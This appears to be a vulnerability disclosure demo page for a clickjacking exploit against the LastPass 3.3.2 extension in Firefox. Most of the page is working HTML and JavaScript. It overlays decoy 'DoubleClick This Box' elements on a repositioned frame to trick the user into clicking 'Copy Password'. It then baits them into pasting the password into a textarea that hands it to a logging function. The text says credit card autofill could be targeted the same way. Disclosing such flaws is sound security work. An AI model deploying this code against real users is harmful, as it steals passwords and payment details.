LastPass 3.3.2 Exploit

This is a silly clickjacking example that works with autofill disabled for LastPass 3.3.2 (FireFox Only).

This example is silly, but the point is that mixing privileged and unprivileged UI is a bad idea. A real web designer could make this convincing and reliable.

Try it a few times if it doesn't work. ¯\_(ツ)_/¯

Domain: Debug

This demo tries to get the user to click "Copy Password", but there are other options, e.g. fill in credit card.
This is what it's supposed to look like:

}
    </style>
    
    <div class=target id=firstclick onclick="
            this.style.zIndex = -1;
            secondclick.style.display = 'block';
     ">
        DoubleClick This Box
    </div>
    <div class=target id=secondclick
         onmouseover="
            frame.style.top = -(frame.getBoundingClientRect().height * 0.17) + 'px'
            frame.style.left = (-(frame.getBoundingClientRect().width * 0.895) + this.getBoundingClientRect().width * 2) + 'px';
         "
         onclick="
            this.style.zIndex = -1;
            setTimeout('document.body.removeChild(frame)', 1000);
            setTimeout('document.body.removeChild(firstclick)', 1000);
            setTimeout('document.body.removeChild(secondclick)', 1000);
            setTimeout('paste.style.display=\'block\'', 1000);
            setTimeout('paste.focus()', 1100);
    ">
        Now DoubleClick This Box
    </div>
    
    <textarea rows="8" cols="64" id=paste onpaste="setTimeout('opener.logpasswd(paste.value); window.close()', 0);"
              placeholder="You win! Paste here to see your prize..."
    />